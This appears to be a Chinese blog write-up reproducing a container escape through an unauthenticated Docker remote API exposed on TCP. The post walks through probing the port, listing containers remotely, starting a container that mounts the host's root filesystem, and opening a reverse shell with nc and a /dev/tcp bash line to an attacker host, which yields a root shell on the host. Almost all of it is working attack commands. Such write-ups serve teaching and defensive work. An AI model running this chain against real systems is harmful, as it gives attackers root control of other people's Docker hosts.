Loading ...
Docker 远程 API 未授权访问导致的容器逃逸

一、漏洞背景

Docker 守护进程(dockerd)默认通过 Unix Socket(/var/run/docker.sock)提供服务,仅允许本地访问。但如果管理员配置不当,将其通过 -H 0.0.0.0: 端口暴露在 TCP 端口上,且未做身份验证和访问控制,攻击者可远程利用 Docker API 执行命令,甚至挂载宿主机文件系统实现 “逃逸”,获取宿主机控制权。

二、复现步骤及原理

1. 暴露 Docker 守护进程 API

  • 漏洞原理:Docker 守护进程若监听所有网络接口(0.0.0.0)的 TCP 端口(如 9527),会允许任意远程主机访问 Docker API,为攻击提供入口。

  • 复现命令(管理员操作,模拟配置不当):

    # 同时保留本地 Unix Socket 和远程 TCP 访问
    dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:9527
  • 作用:Docker 守护进程既通过 unix:///var/run/docker.sock 支持本地访问,又通过 0.0.0.0:9527 允许远程 TCP 访问。

2. 未授权访问 Docker API

  • 复现命令(攻击者操作,验证 API 暴露):

    # 向目标 IP 的 9527 端口发送请求,验证 API 是否可访问
    wget http://192.168.226.154:9527
  • 执行效果:

  • 结果说明:若返回 404 Not Found 但显示 “已连接”,说明端口开放且 API 可访问(Docker API 未配置根路径路由,正常返回 404)。

  • 进一步操作:攻击者可执行 Docker 命令查看所有容器:

    docker -H tcp://192.168.226.154:9527 ps -a

3. 挂载宿主机文件系统到容器

  • 复现命令(攻击者操作):

# 远程启动 Ubuntu 容器,挂载宿主机根目录到容器 /mnt
docker -H tcp://192.168.226.154:9527 run -it --rm -v /:/mnt ubuntu:18.04 /bin/bash

4. 容器内执行恶意命令(获取宿主机权限)

  • 复现命令(攻击者操作):

    1. 本地监听端口(攻击者主机,等待反弹 shell):

    nc -Lvvp 4444 # 监听 4444 端口,接收反弹连接
    1. 容器内执行反弹 shell 命令(利用挂载的宿主机 bash): 在容器终端中,通过宿主机的 bash 向攻击者主机反弹 shell

      /mnt/bin/bash -i >/dev/tcp/192.168.226.133/4444 0>&1
      

  • 执行效果:攻击者主机的 nc 会收到来自目标宿主机的连接,获得宿主机的 root 权限 shell(通过 id 命令可验证为 uid=0 (root))。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇